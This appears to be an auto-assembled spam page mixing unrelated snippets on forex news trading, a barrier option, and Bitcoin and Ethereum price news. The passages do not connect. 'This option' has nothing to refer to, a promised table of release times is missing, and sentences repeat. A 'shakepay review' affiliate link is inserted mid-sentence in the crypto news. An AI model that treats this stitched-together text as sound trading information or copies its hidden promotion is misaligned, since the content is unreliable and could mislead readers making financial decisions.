<p><p>This option is great for news traders who think that the economic release will not cause a pronounced breakout in the currency pair and bet that it will continue to range trade. Either one of the levels must be breached prior to expiration for the option to become profitable and for the buyer to receive the payout. If neither barrier level is breached prior to expiration, the option expires worthless.</p>
</p>
<p><p>Bitcoin price retested and bounced off from the daily support level of $56,000 this week. US spot Bitcoin ETFs posted $140.7 million in inflows until Thursday and on-chain data supports <a href="https://forex-reviews.org/shakepay/">shakepay review</a> a bullish outlook. Bitcoin trades above $58,000 at the time of writing, adding 2% to its value this week. Ethereum hovers around $2,300 as WazirX exchange exploiter moves 5,000 Ether to a new wallet address and a crypto mixer.</p>
</p>
<p><p>The table below lists the approximate times (in Eastern Time) of the most important  economic releases for each of the following countries. These are also the times when traders pay extra attention to the markets if trading based on news releases. Now that we know which news events and currency pairs to trade, let’s take a look at some approaches to trading the news. Now that we know which news events make the most moves, our next step is to determine which currency pairs are worth trading. Tradable currencies span the globe, and you can handpick the currencies and economic releases you want to pay particular attention to.</p></p>
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